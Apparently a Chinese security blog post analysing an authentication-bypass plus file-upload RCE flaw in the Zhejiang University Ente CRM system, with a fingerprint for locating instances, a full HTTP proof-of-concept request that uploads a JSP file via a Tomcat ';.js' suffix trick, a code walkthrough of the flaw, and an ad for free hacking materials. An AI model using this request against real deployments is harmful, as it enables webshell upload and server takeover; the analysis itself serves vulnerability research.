Stories

Detail Return Return

浙大恩特前台RCE漏洞審計 - Stories Detail

指紋:title="歡迎使用浙大恩特客户資源管理系統"

本文對該系統公開在互聯網,但未分析代碼細節的漏洞進行審計分析:

前台文件上傳RCE

該系統2019版本存在權限繞過加文件上傳組合漏洞,可通過上傳webshell實現前台RCE。

公開POC:

POST /entsoft/CustomerAction.entphone;.js?method=loadFile HTTP/1.1Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/112.0 uacqAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:
gzip, deflateConnection: closeContent-Type: multipart/form-data;
boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Length: 203
​
------WebKitFormBoundarye8FPHsIAq9JN8j2AContent-Disposition:
form-data; name="file";filename="as.jsp"Content-Type: image/jpeg
​
<%out.print("test");%>------WebKitFormBoundarye8FPHsIAq9JN8j2A--

權限繞過部分先看過濾器:

分析web.xml發現purfilter為全局過濾器:

如上,會對/*也就是任意請求進行攔截,跟進源碼:

首先出現的就是白名單後綴+白名單接口,在後續校驗中也是對非listExpUrl內容的後綴或者接口才會進行權限校驗:

而攔截器在進行後綴白名單檢測時,獲取後綴的方式如下:

通過獲取最後一個.的部分作為後綴。

【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客户端安全檢測指南(安卓+IOS)

而且該系統是tomcat容器,基於該容器對;的解析特性,不會匹配到;後面的內容,也就是在進行路由匹配時,只會匹配到CustomerAction.entphone,從而使得CustomerAction.entphone;.js?method=loadFile順利進入過濾器層面的校驗,並且此時獲取的後綴又是.js,處於白名單後綴,從而實現權限繞過。

接下來分析:上傳點代碼漏洞原因:

先在xml文件尋找接口對應後端代碼,該接口匹配後綴.entphone,對應代碼為:enterphone.EntPhoneControl類。

全局搜索EntPhoneControl類:

跟進漏洞類CustomerAction:

跟進method對應loadFile方法:

要想進入文件上傳邏輯,會先進行gesum參數的條件判斷:

在gesum不為空時才進入上傳邏輯,原數據包裏面是沒有傳gesum參數的,在java裏面,一般值會設置為NULL,而NULL不等於空,則能夠順利進入if邏輯。

進入if塊後,代碼會繼續執行以下步驟:

創建CustomerBean並設置gesnum(此時gesnum為null)和tenantID。

調用customerBean.checkGesnum()檢查客户代碼是否存在。

這一步是關鍵:若checkGesnum()方法在gesnum為null時返回false(即認為"客户代碼不存在",符合業務邏輯,因為null通常不是有效的客户代碼),則會進入else分支,執行文件上傳邏輯。

隨後通過如上文件獲取文件名,並直接進行文件上傳,由於未進行後綴校驗,從而可上傳jsp文件,造成RCE漏洞。

本地環境漏洞復現:

上傳成功,併成功解析:

更多網安技能的在線實操練習,請點擊這裏>>

user avatar zhuzhuxia Avatar aitaokedeloufang Avatar zerkalo Avatar johnhan Avatar WXjzc Avatar
Favorites 5 users favorite the story!
Favorites

Add a new Comments

Some HTML is okay.